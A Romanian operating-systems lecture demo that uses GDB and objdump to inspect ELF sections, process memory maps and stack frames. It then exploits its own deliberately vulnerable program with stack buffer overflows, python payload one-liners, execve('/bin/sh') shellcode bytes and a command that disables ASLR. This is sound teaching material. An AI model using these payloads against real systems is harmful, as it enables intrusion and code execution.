Pentru parcurgerea demo-urilor, folosim arhiva aferentă. Demo-urile rulează pe Linux. Descărcăm arhiva folosind comanda
wget http://elf.cs.pub.ro/so/res/cursuri/curs-07-demo.zip
și apoi decomprimăm arhiva
unzip curs-07-demo.zip
și accesăm directorul rezultat în urma decomprimării
cd curs-07-demo/
Acum putem parcurge secțiunile cu demo-uri de mai jos.
Dorim să urmărim adresele secțiunilor și simbolurilor în cadrul unui fișier executabil de tip ELF (Executable and Linking Format). Pentru aceasta accesăm subdirectorul exec-addr/
; urmărim conținutul fișierului exec-addr.c
. În acest fișier definim variabile globale și afișăm adresele acestor variabile și a funcțiilor din modul. Vom observa că adresele variabilelor globale și a funcțiior sunt cunoscute de la link-time, în momentul link-editării și a obținerii executabilului.
Compilăm programul folosind make
.
Pentru început investigăm simbolurile din executabil. Ne interesează variabilele globale și funcțiile așa că vom rula comanda de afișare a simbolurilor din care vom extrage liniile de interes:
user@host:$ objdump --syms exec-addr | grep '\(exec_\| main\|simple_func\)' 0000000000600da0 l O .data 0000000000000004 exec_static_int_global 000000000040076b l F .text 000000000000001a simple_func 0000000000600dc4 g O .bss 0000000000000004 exec_int_global_noinit 0000000000600da4 g O .data 0000000000000004 exec_int_global 00000000004008b8 g O .rodata 0000000000000006 exec_array_ro 0000000000400785 g F .text 000000000000009c main
Prin rularea comenzii objdump de mai sus afișăm informații despre simboluri, în format pe coloane, astfel:
l
(local) pentru că vor fi locale modulului. Celelalte sunt marcate cu g
(global) și vor putea fi exportate în alte module..data
: variabile globale inițializate.bss
: variabile globale neinițializate.rodata
: variabile globale de tip read-only.text
: zonă de cod/instrucțiuni (pentru funcții)sizeof(int) = 4
octeți, șirul de caractere ocupă 6 octeți (incluzând NUL-terminatorul) iar funcțiile ocupă spațiul dat de codul acestora.
Observăm că zona de date read-only (.rodata
) este apropiată de zona de cod (.text
) ambele fiind zone care nu pot fi scrise.
Ca să verificăm faptul că adresele precizate în executabil se vor regăsi și în momentul rulării procesului, la run-time, rulăm executabilul:
$ ./exec-addr Inside simple_func Run-time addresses are: &exec_static_int_global: 0x600da0 &exec_int_global: 0x600da4 &exec_int_global_noinit: 0x600dc4 &exec_array_ro: 0x4008b8 &simple_func: 0x40076b &main: 0x400785 Run `pmap -p $(pidof exec-addr)' to show process map. Press ENTER to continue ...
Observăm din rezultatul rulării că adresele de la run-time sunt aceleași cu cele din executabil.
După cum ni se indică la rulare, vom rula pmap
pentru a consulta spațiul virtual de adresă al procesului:
$ pmap -p $(pidof exec-addr) 13545: ./exec-addr 0000000000400000 4K r-x-- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr 0000000000600000 4K rw--- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr 00007fd884842000 1664K r-x-- /lib/x86_64-linux-gnu/libc-2.18.so 00007fd8849e2000 2044K ----- /lib/x86_64-linux-gnu/libc-2.18.so 00007fd884be1000 16K r---- /lib/x86_64-linux-gnu/libc-2.18.so 00007fd884be5000 8K rw--- /lib/x86_64-linux-gnu/libc-2.18.so 00007fd884be7000 16K rw--- [ anon ] 00007fd884beb000 128K r-x-- /lib/x86_64-linux-gnu/ld-2.18.so 00007fd884dcf000 12K rw--- [ anon ] 00007fd884e06000 16K rw--- [ anon ] 00007fd884e0a000 4K r---- /lib/x86_64-linux-gnu/ld-2.18.so 00007fd884e0b000 4K rw--- /lib/x86_64-linux-gnu/ld-2.18.so 00007fd884e0c000 4K rw--- [ anon ] 00007fffb51d1000 132K rw--- [ stack ] 00007fffb51fe000 8K r-x-- [ anon ] ffffffffff600000 4K r-x-- [ anon ] total 4068K
Legat de partea de executabil, observăm că avem două pagini (4K
) mapate din executabilul exec-addr
. Una este readable/executable (r-x
) și începe de la adresa 0x400000
, iar alta este readable/writable (rw-
) și începe de la adresa 0x600000
. În prima pagină sunt mapate secțiunile .text
și .rodata
, iar în cealaltă sunt mapate secțiunile .data
și .bss
; observăm acest lucru pe baza adreselor.
Vrem să vedem cum ajung informațiile (date și instrucțiuni) dintr-o bibliotecă partajată într-un executabil. Pentru aceasta urmărim rularea comenzii pmap
de la secțiunea anterioară.
În cadrul comenzii observăm că atât fișierul executabil care a generat procesul (exec-addr
) cât și fișierele de tip bibliotecă partajată sunt mapate în memorie. Fișierele de tip bibliotecă partajată sunt tot fișiere ELF, cu secțiuni și simboluri similare unui fișier executabil obișnuit. Observăm că pentru fiecare bibliotecă avem, în cadrul procesului (output-ul comenzii) mai multe zone de dimensiuni și permisiuni diferite, mapate în spațiul de adresă al procesului. Astfel, pentru o bibliotecă putem avea:
r-x
) pentru cod/instrucțiuni (secțiunea .text
)r–
) pentru date read-only (secțiunea .rodata
)rw-
) pentru date read-write (secțiunile .data
, .bss
)
Bibliotecile dinamice nu sunt, în general, mapate la o adresă predefinită. De aceea, dacă rulăm de mai multe ori executabilul și apoi comanda pmap
vom vedea că zonele din biblioteci sunt mapate la adrese diferite de fiecare dată. Acest lucru se întâmplă din rațiuni de securitate folosind ASLR (Address Space Layout Randomization). Dacă un atacator vrea să folosească adrese din cadrul spațiului de adresă al procesului îi va fi dificil pentru că nu știe unde sunt mapate.
Acest lucru poate fi observat prin rularea de mai multe ori a comenzii ldd
peste executabil. La fiecare rulare va fi vorba de altă adresă unde va fi mapată biblioteca:
$ ldd exec-addr linux-vdso.so.1 (0x00007fff399fe000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8614d8a000) /lib64/ld-linux-x86-64.so.2 (0x00007f861516b000) $ ldd exec-addr linux-vdso.so.1 (0x00007fff7a7b4000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff7c3dfc000) /lib64/ld-linux-x86-64.so.2 (0x00007ff7c41dd000)
Dorim să urmărim evoluția stivei unui proces raportat la fluxul de execuție al acestuia (apeluri de funcții și rulare de instrucțiuni). Pentru aceasta accesăm subdirectorul stack/
; urmărim conținutul fișierului stack.c
. În acest fișier din funcția main
apelăm funcția read_data
; funcția read_data
definește un pointer de funcție (func_ptr
) și un buffer (buffer
). Pe moment nu ne interesează funcționalitatea mai mult de atât.
Compilăm programul folosind make
.
Vrem să urmărim evoluția stivei în momentul în care programul apelează funcția read_data
. Pentru aceasta vom rula programul în debugger (gdb
) și vom afișa codul dezasamblat, stiva, registrul de stivă/stack pointer-ul (esp
), registrul de instrucțiune/instruction pointer-ul/program counter-ul (eip
) sau frame pointer-ul (ebp
).
Pentru început pornim programul și investigăm codul dezasamblat, instruction pointer-ul, stack pointer-ul și stiva:
$ gdb -q ./stack Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/stack...done. (gdb) b main Breakpoint 1 at 0x80485aa: file stack.c, line 37. (gdb) run Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/./stack warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at stack.c:37 37 size_t len = 0; (gdb) disassemble Dump of assembler code for function main: 0x080485a1 <+0>: push %ebp 0x080485a2 <+1>: mov %esp,%ebp 0x080485a4 <+3>: and $0xfffffff0,%esp 0x080485a7 <+6>: sub $0x20,%esp => 0x080485aa <+9>: call 0x804853f <read_data> 0x080485af <+14>: mov %eax,0x1c(%esp) 0x080485b3 <+18>: mov 0x1c(%esp),%eax 0x080485b7 <+22>: mov %eax,0x4(%esp) 0x080485bb <+26>: movl $0x80486b8,(%esp) 0x080485c2 <+33>: call 0x8048390 <printf@plt> 0x080485c7 <+38>: mov $0x0,%eax 0x080485cc <+43>: leave 0x080485cd <+44>: ret End of assembler dump. (gdb) p $eip $1 = (void (*)()) 0x80485aa <main+9> (gdb) p $esp $2 = (void *) 0xffffd290 (gdb) x/2wx $esp 0xffffd290: 0x00000001 0xffffd354
În secvența de mai sus, am folosit breakpoint pentru main
și apoi am rulat programul până la breakpoint. Instruction pointer-ul este la începutul programului (adresa 0x80485aa
), iar stack pointer-ul are valoarea 0xffffd290
. Pe stivă se găsesc valori random din ceea ce era anterior pe stivă.
Următoarea instrucțiune care va fi rulată va fi apelul funcției read_data
. Este vorba de instrucțiunea:
=> 0x080485aa <+9>: call 0x804853f <read_data>
Verificăm faptul că aceea este adresa funcției și apoi executăm acea instrucțiune; folosim si
: step instruction:
(gdb) p read_data $1 = {size_t (void)} 0x804853f <read_data> (gdb) si read_data () at stack.c:23 23 { (gdb) disassemble Dump of assembler code for function read_data: => 0x0804853f <+0>: push %ebp 0x08048540 <+1>: mov %esp,%ebp 0x08048542 <+3>: sub $0x38,%esp 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) 0x0804854c <+13>: movl $0x10,0x8(%esp) 0x08048554 <+21>: movl $0x41,0x4(%esp) 0x0804855c <+29>: lea -0x1c(%ebp),%eax 0x0804855f <+32>: mov %eax,(%esp) 0x08048562 <+35>: call 0x8048400 <memset@plt> 0x08048567 <+40>: movl $0x8048690,(%esp) [...] (gdb) p $eip $2 = (void (*)()) 0x804853f <read_data> (gdb) p $esp $3 = (void *) 0xffffd28c (gdb) x/3wx $esp 0xffffd28c: 0x080485af 0x00000001 0xffffd354
În rularea de mai sus am verificat faptul că apelul call se face către funcția read
data și apoi facem apelul cu ajutorul operației si
(step instruction) din GDB. Ca urmare a acestui apel au loc următoarele schimbări, echivalente pentru call
:
0xffffd290
la valoarea 0xffffd28c
.0x080485af
.read_data
, adică 0x0804853f
.În pseudo-assembly, cele de mai sus pot fi considerate ca:
pushl %eip ; equivalent to pushl 0x080485af jmp read_data ; equivalent to jmp 0x0804853f
După saltul la funcție se execută instrucțiunile din acea funcție. Primele instrucțiuni vor salva pe stivă, după adresa de retur, fostul framepointer (ebp
) și vor plasa noul frame pointer în poziția curentă a stivei. Pe stivă vom avea, de sus în jos:
Valoarea actuală a frame pointer-ului referă o adresă unde este stocat frame pointer-ul. Patru octeți mai sus este stocată adresa de retur.
Pentru a executa aceste două instrucțiuni rulăm de două ori comanda si
(step instruction):
(gdb) si 0x08048540 23 { (gdb) si 0x08048542 23 { (gdb) disassemble Dump of assembler code for function read_data: 0x0804853f <+0>: push %ebp 0x08048540 <+1>: mov %esp,%ebp => 0x08048542 <+3>: sub $0x38,%esp 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) 0x0804854c <+13>: movl $0x10,0x8(%esp) 0x08048554 <+21>: movl $0x41,0x4(%esp) 0x0804855c <+29>: lea -0x1c(%ebp),%eax 0x0804855f <+32>: mov %eax,(%esp) 0x08048562 <+35>: call 0x8048400 <memset@plt> [...] ---Type <return> to continue, or q <return> to quit---q Quit (gdb) p $esp $4 = (void *) 0xffffd288 (gdb) p $ebp $5 = (void *) 0xffffd288 (gdb) x/4wx $ebp 0xffffd288: 0xffffd2b8 0x080485af 0x00000001 0xffffd354
În urma acestor pași stack pointer-ul a mai scăzut cu încă un cuvânt de procesor (32 de biți, 4 octeți) la valoare 0xffffd288
. Frame pointer-ul are aceeași valoare și, pe stivă, se găsește acum:
0xffffd2b8
)0x080385af
)
În continuare se rezervă spațiu pe stivă (0x38
- 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu 0x38
octeți. Ținând cont de actuala valoare (0xffffd288
) rezultă că noua valoare va fi 0xffffd288 - 0x38 = 0xffffd250
. Verificăm acest lucru executând o nouă instrucțiune, folosind si
(step instruction) în GDB:
(gdb) si 24 void (*func_ptr)(void) = actual_func; (gdb) disassemble Dump of assembler code for function read_data: 0x0804853f <+0>: push %ebp 0x08048540 <+1>: mov %esp,%ebp 0x08048542 <+3>: sub $0x38,%esp => 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) 0x0804854c <+13>: movl $0x10,0x8(%esp) 0x08048554 <+21>: movl $0x41,0x4(%esp) 0x0804855c <+29>: lea -0x1c(%ebp),%eax 0x0804855f <+32>: mov %eax,(%esp) 0x08048562 <+35>: call 0x8048400 <memset@plt> 0x08048567 <+40>: movl $0x8048690,(%esp) [...] ---Type <return> to continue, or q <return> to quit---q Quit (gdb) p $esp $6 = (void *) 0xffffd250
Se schimbă într-adevăr valoarea stack pointer-ului.
Vrem să vedem unde este alocat buffer-ul pe stivă. Pe lângă urmărirea codului în assembly, am decis să folosim memset
pentru a umple buffer-ul cu valori 0x41
. Folosim operații ni
(next instruction) pentru a trece de apelul memset
, adică să ajungem la linia movl $0x8048690,(%esp)
':
(gdb) ni 24 void (*func_ptr)(void) = actual_func; (gdb) ni 27 memset(buffer, 'A', 16); (gdb) ni 0x08048554 27 memset(buffer, 'A', 16); (gdb) ni 0x0804855c 27 memset(buffer, 'A', 16); (gdb) ni 0x0804855f 27 memset(buffer, 'A', 16); (gdb) ni 0x08048562 27 memset(buffer, 'A', 16); (gdb) ni 28 printf("Insert message (less than 16 bytes): "); (gdb) disassemble Dump of assembler code for function read_data: 0x0804853f <+0>: push %ebp 0x08048540 <+1>: mov %esp,%ebp 0x08048542 <+3>: sub $0x38,%esp 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) 0x0804854c <+13>: movl $0x10,0x8(%esp) 0x08048554 <+21>: movl $0x41,0x4(%esp) 0x0804855c <+29>: lea -0x1c(%ebp),%eax 0x0804855f <+32>: mov %eax,(%esp) 0x08048562 <+35>: call 0x8048400 <memset@plt> => 0x08048567 <+40>: movl $0x8048690,(%esp) 0x0804856e <+47>: call 0x8048390 <printf@plt> [...] ---Type <return> to continue, or q <return> to quit---q
În continuare vrem să afișăm conținutul stivei între frame pointer + 4 (unde se găsește adresa de retur) până la poziția curentă a stack pointer-ului. Folosim o expresie while
specifică GDB:
(gdb) set $pos=0 (gdb) while ($pos <= ($ebp+4-$esp)) >x/wx $ebp+4-$pos >set $pos=$pos+4 >end 0xffffd28c: 0x080485af 0xffffd288: 0xffffd2b8 0xffffd284: 0x0000002f 0xffffd280: 0xffffd4cf 0xffffd27c: 0x0804850d 0xffffd278: 0x41414141 0xffffd274: 0x41414141 0xffffd270: 0x41414141 0xffffd26c: 0x41414141 0xffffd268: 0xf7e05bf8 0xffffd264: 0xffffd28e 0xffffd260: 0xffffffff 0xffffd25c: 0xf7e8e056 0xffffd258: 0x00000010 0xffffd254: 0x00000041 0xffffd250: 0xffffd26c (gdb) p $ebp $1 = (void *) 0xffffd288 (gdb) p $esp $2 = (void *) 0xffffd250 (gdb) p &func_ptr $3 = (void (**)(void)) 0xffffd27c (gdb) p func_ptr $4 = (void (*)(void)) 0x804850d <actual_func> (gdb) p &buffer $5 = (char (*)[16]) 0xffffd26c (gdb) p buffer $6 = 'A' <repeats 16 times>
În listing-ul de mai sus am afișat o parte din stivă, cuprinsă între (ebp+4
și esp
). Sunt afișate astfel:
0xffffd28c
este adresa de retur: 0x080485af
0xffffd288
, unde pointează și frame pointer-ul ebp
, se găsește valoarea fostului frame pointer: 0xffffd2b8
.0xffffd27c
se găsește pointer-ul func_ptr
conținând adresa funcției actual_func
, adică 0x0804850d
.func_ptr
în GDB.0xffffd26c
(16 octeți mai jos) se găsește buffer-ul buffer
conținând 16 valori A
(adică 0x41
).buffer
în GDB.
Observăm din cele de mai sus cum este așezat buffer-ul pe stivă și faptul că pointer de funcție func_ptr
este exact deasupra sa. Practic, dacă facem buffer overflow, am putea suprascrie acel pointer cu o altă valoare.
Un deziderat al unui atac este suprascrierea unui pointer de funcție. Vom face acest lucru direct în cod C, pentru valoare demonstrativă. Vom inițializa în fișierul stack.c
la linia 24 pointerul func_ptr
la valoarea inject_func
.
Într-un prim pas, facem acest lucru prin schimbarea liniei 24 de la:
void (*func_ptr)(void) = actual_func;
la
void (*func_ptr)(void) = inject_func;
În acest moment, după compilare, se va afișa mesajul din funcția inject_func
:
user@host:~$ make gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c gcc -m32 stack.o -o stack user@host:~$ ./stack Insert message (less than 16 bytes): aaa Call injected function.
Un mod mai “barbar” de a obține același lucru, dar mai apropiat de atacul propriu zis este să inițializăm pointer-ul func_ptr
la adresa funcției inject_func
. Aflăm din executabil adresa funcției inject_func
:
$ objdump --syms stack | grep inject_func 08048521 g F .text 0000001e inject_func
și apoi schimbăm corespunzător linia 24
din fișierul stack.c
:
void (*func_ptr)(void) = (void (*)(void)) 0x08048521;
Am făcut cast la pointer de funcție void (*)(void)
ca să prevenim warning-urile compilatorului.
Compilăm și rulăm programul cu efect rularea funcției inject_func
:
$ make gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c gcc -m32 stack.o -o stack $ ./stack Insert message (less than 16 bytes): ana Call injected function.
În acest fel am forțat apelul unei alte funcții prin inițializarea pointer-ului func_ptr
la adresa (în hexazecimal) a acelei funcții.
Desigur, ne propunem un atac cât mai realist pentru suprascrierea pointer-ului de fucție func_ptr
. Plasarea acestuia pe stivă deasupra buffer-ului buffer
așa cum am indicat mai sus face posibilă executarea unui buffer overflow. Transmitem mai mult de 16 octeți la intrarea standard a programului (buffer-ul este definit ca ocupând 16 octeți, dar fgets
e apelat greșit - vulnerabilitate) și suprascriem pointer-ul.
Pentru ca să transformăm bug-ul în vulnerabilitate trebuie să suprascriem pointer-ul cu o adresă convenabilă, adică adresa funcției inject_func
, adică 0x08048521
.
Pentru început refacem programul la starea sa inițială, adică refacem linia 24
la
void (*func_ptr)(void) = actual_func;
și compilăm programul folosind make
.
Pentru început haideți să scriem un octet mai mult decât 16 să vedem ce se întâmplă:
$ echo -n 'AAAAAAAAAAAAAAAAB' | ./stack Segmentation fault
Ce s-a întâmplat este că am suprascris o parte din pointer-ul func_ptr
și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa indicată de func_ptr
se transmite Segmentation fault.
Dorința noastră este să sărim la funcția inject_func
. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției inject_func
(adică 0x21
, 0x85
, 0x04
, 0x08
– suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul func_ptr
și vor forța saltul la funcția inject_func
:
$ echo -en 'AAAAAAAAAAAAAAAA\x21\x85\x04\x08' | ./stack Insert message (less than 16 bytes): Call injected function.
Observăm că am “deraiat” execuția uzuală a programului, suprascriind un pointer de funcție prin intermediul unui buffer overflow și apelând o altă funcție. Dacă nu am fi generat buffer overflow, adică dacă am fi păstrat datele de intrare sub 16 octeți, programul s-ar fi comportat normal:
$ echo -en 'AAAAAAAAAAAAAAA' | ./stack Insert message (less than 16 bytes): Call actual function. Read 15 bytes from standard input.
Foarte rar vom avea șansa să avem un pointer de funcție plasat convenabil deasupra unui buffer. De aceea unul dintre cele mai uzuale moduri în care putem să schimbăm fluxul de execuție al unui program (descris și în articolul Smashing the Stack for Fun and Profit) este suprascrierea adresei de retur. Dacă punem acolo o funcție convenabilă, va fi apelată o funcție nouă în loc să revină programul în locul inițial.
Pentru a face acest lucru trebuie să știm unde anume se găsește adresa de retur raportat la buffer. De mai sus știm că buffer-ul se găsește la adresa 0xffffd26c
iar adresa de retur la adresa 0xffffd28c
. Avem așadar o diferență de 0x20 = 32 de octeți
. Dacă scriem 32 de caractere de orice fel (fie A
) și apoi scriem adresa unei adrese de salt dorite, vom sări la acea adresă. La fel ca mai sus, vom folosi adresa funcției inject_func
, adică 0x08048521
.
Pentru acesta vom transmite la intrarea standard 32 de caractere A
urmate de caracterele 0x21
, 0x85
, 0x04
, 0x08
la fel ca mai sus (când am suprascris pointer-ul func_ptr
); vom suprascrie așadar valoarea de retur de pe stack frame-ul funcției read_data
. Efectul va fi apelarea funcției inject_func
la ieșirea din funcția read_data
.
Întrucât vom suprascrie inclusiv pointer-ul func_ptr
vrem să nu mai fie acest apelat. De aceea comentăm linia 30
:
// func_ptr();
Apoi compilăm programul modificat folosind make
. Vom primi warning de variabilă nefolosită pentru func_ptr
dar îl ignorăm.
Pentru a genera atacul, rulăm o comandă python
ca sa scriem mai ușor mai multe caractere de același tip (32 de caractere A
, în cazul nostru) și urmărim efectul:
$ python -c 'print "A"*32 + "\x21\x85\x04\x08"' | ./stack Insert message (less than 16 bytes): Call injected function.
Observăm că am alterat fluxul normal de execuție al programului printr-un stack buffer overflow care a suprascris valoarea de retur a funcției read_data
. Prin suprascrierea adresei de retur cu valoarea 0x08048521
(adresa funcției inject_func
) am forțat apelarea funcției inject_func
.
De multe ori dorim să injectăm cod în cadrul spațiului de adresă al unui proces, cod pe care apoi să îl executăm. Pentru a face acest lucru se creează mici bucăți de cod scrise direct în cod mașină care vor fi injectate și executate, bucăți denumite shellcode. În general, shellcode-ul are ca obiectiv obținerea unui shell, ceea ce pe Linux echivalează un apel execve("/bin/sh")
.
Pentru a urmări construcția și utilizarea unui shellcode accesăm subdirectorul shellcode/
și urmărim conținutul fișierului shellcode.s
. Acesta este codificarea în limbaj de asamblare a unui apel de sistem execve
. Este echivalent apelului C execve("/bin//sh", ["/bin//sh", NULL], NULL)
.
Ca să obținem shell-ul în forma sa binară, fișierul în limbaj de asamblare este compilat, este extrasă partea de cod și apoi transpusă în forma în hexazecimal folosită uzual în C, Python, Perl, Bash. Pentru aceasta folosim scriptul extract-shellcode
:
$ ./extract-shellcode Shellcode string is: '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
Între apostroafe avem shellcode-ul. Acesta este forma binară (cod mașină) a instrucțiunilor în limbaj de asamblare din shellcode.s
.
Pentru a folosi, la nivel demonstrativ, shellcode-ul, vom defini o variabilă pe care o vom inițializa la șirul de mai sus. Apoi vom forța saltul la adresa acelei variabile. Aceasta vom face în fișierul run-shellcode.c
. La forma actuală a fișierului vom face două modificări:
11
vom inițializa șirul shellcode
la valoarea shellcode-ului. Modificăm linia de lastatic const char shellcode[] = "TODO";
la
static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
20
vom inițializa pointer-ul de funcție func_ptr
la adresa shellcode-ului. Modificăm linia de lavoid (*func_ptr)(void) = actual_func;
la
void (*func_ptr)(void) = (void (*)(void)) shellcode;
Compilăm programul folosind make
și apoi îl apelăm. Întrucât se apelează func_ptr
se va apela shellcode, rezultând în apelul echivalent execve("/bin/sh")
și deci pornirea unui nou shell:
user@host:~$ make gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c gcc -m32 -z execstack run-shellcode.o -o run-shellcode user@host:~$ ./run-shellcode Insert message (less than 32 bytes): aaa $ exit user@host:~$
Putem observa invocarea apelului de sistem execve
prin folosirea strace:
$ strace -e execve ./run-shellcode execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 [ Process PID=9084 runs in 32 bit mode. ] Insert message (less than 32 bytes): aaaa execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 [ Process PID=9084 runs in 64 bit mode. ]
Primul apel execve
a însemnat încărcarea executabilului curent run-shellcode
, în vreme ce al doilea apel este exact apelul dat de shellcode, care creează un shell nou.
Dorim să supracriem adresa de retur a funcției read_data
ca să refere shellcode-ul și să execute codul de acolo. Pentru aceasta trebuie să știm adresa shellcode-ului. Folosim objdump
:
$ objdump --syms run-shellcode | grep ' shellcode' 08048610 l O .rodata 0000001a shellcode
Nu putem folosi construcția anterioară în care diferența între adresa de retur era de 32
de octeți. Acum bufferul este mai mare, este definit ca buffer[32]
. Vom investiga folosind GDB. De asemenea, vom elimina de tot pointer-ul de funcție func_ptr
, în așa fel încât funcția read_data
are forma:
static size_t read_data(void) { char buffer[32]; memset(buffer, 'A', 32); printf("Insert message (less than 32 bytes): "); fgets(buffer, 64, stdin); return strlen(buffer); }
Compilăm noul program folosind make
.
Pentru a afla diferența între buffer și valorea de retur, folosim GDB:
$ gdb -q ./run-shellcode Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/run-shellcode...done. (gdb) b main Breakpoint 1 at 0x8048550: file run-shellcode.c, line 33. (gdb) run Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/./run-shellcode warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at run-shellcode.c:33 33 len = read_data(); (gdb) si read_data () at run-shellcode.c:19 19 { (gdb) x/2wx $esp 0xffffd27c: 0x08048555 0x00000001 (gdb) p &buffer $1 = (char (*)[32]) 0xffffd250
Mai sus, am realizat următorii pași:
run-shellcode
.si
– step instruction) pentru a apela funcția read_data
.0xffffd27c
iar valoarea de retur este 0x08048555
.0xffffd250
.
Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este 0xffffd27c - 0xffffd250 = 2c
, adică 44 de octeți.
Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției fgets
, 44 de caractere A
(până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului, adică 0x10
, 0x86
, 0x04
, 0x08
. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției read_data
. Consecința va fi că încheierea funcției read_data
, în locul revenirii în funcția main
(funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului execve
codificat în shellcode.
Pentru a executa operațiile de mai sus, folosim python
la fel ca mai devreme. Scriem 44
de caractere A
urmate de octeții corespunzători shellcode-ului:
$ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | ./run-shellcode
Programul pare să meargă dar nu obținem un shell. Acest lucru se întâmplă întrucât se închide, din pipe, intrarea standard și se închide și shell-ul însuși. Există metode de a face bypass la acest lucru, dar nu fac subiectul acestui demo. Pentru a confirma că se execută un shell, folosim strace:
$ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | strace -e execve ./run-shellcode execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 [ Process PID=20114 runs in 32 bit mode. ] execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 [ Process PID=20114 runs in 64 bit mode. ]
Observăm de mai sus că am obținut într-adevăr execuția shellcode-ului, prin suprascrierea adresei de retur a funcției read_data
. În final shellcode-ul a apelat un echivalent al execve("/bin/sh")
care generează un shell.
În mod evident, nu ne putem aștepta ca un shellcode să se găsească în codul sursă al programului. Shellcode-ul trebuie injectat într-o zonă în care putem scrie; cel mai simplu este chiar pe stivă, adică exact în cadrul bufferului. Apoi vom suprascrie adresa de retur a funcției read_data
cu adresa de start a buffer-ului unde am scris shellcode-ul.
Pentru ca aceasta să funcționeze, trebuie să știm adresa buffer-ului. Din păcate (pentru atacator) avem în general activat ASLR (Address Space Layout Randomization). Prin urmare la diverse rulări buffer-ul nu va avea aceeași adresă (nu apare la GDB). Pentru a verifica asta, la programul anterior adăugăm, în funcția read_data
apelul
printf("buffer address: %p\n", buffer);
Compilăm și rulăm de mai multe ori:
user@host:~$ make gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c gcc -m32 -z execstack run-shellcode.o -o run-shellcode user@host:~$ ./run-shellcode Insert message (less than 32 bytes): aaa buffer address: 0xff8db4d0 Read 4 bytes from standard input. user@host:~$ ./run-shellcode Insert message (less than 32 bytes): aaa buffer address: 0xffdf0270 Read 4 bytes from standard input. user@host:~$ ./run-shellcode aaa Insert message (less than 32 bytes): aaa buffer address: 0xffef6ad0 Read 4 bytes from standard input.
Observăm că bufferul are la fiecare rulare altă adresă. Putem folosi brute forcing, dar durează.
Pentru scopuri didactice vom dezactiva suportul de ASLR folosind comanda
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Acum vom avea aceeași adresă a buffer-ului la multiple rulări ale executabilului run-shellcode
:
user@host:~$ ./run-shellcode Insert message (less than 32 bytes): aaa buffer address: 0xffffd2b0 Read 4 bytes from standard input. user@host:~$ ./run-shellcode Insert message (less than 32 bytes): aaa buffer address: 0xffffd2b0 Read 4 bytes from standard input.
Adresa buffer-ului va fi adresa shellcode-ului pentru că vom scrie shellcode-ul chiar în buffer. Ceea ce înseamnă că vom suprascrie adresa de retur a funcției read_data
cu adresa buffer-ului adică cu octeții \xb0
, \xd2
, \xff
, \xff
.
Ținem cont că trebuie să scriem 44 de caractere de orice fel și apoi să scriem acei octeți. Din acele 44 de caractere de orice fel primele trebuie să fie chiar shellcode-ul, adică șirul \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
. Shellcode-ul are 25 de octeți. Vom scrie așadar în buffer:
A
)\xb0
, \xd2
, \xff
, \xff
reprezentând adresa de start a bufferului, adică începutul shellcode-uluiVom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:
user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | ./run-shellcode Insert message (less than 32 bytes): buffer address: 0xffffd2b0
La fel ca mai sus nu se generează un prompt de shell pentru că se închide intrarea standard. Dar putem folosi strace
ca să vedem că se apelează execve
și se creează un proces shell:
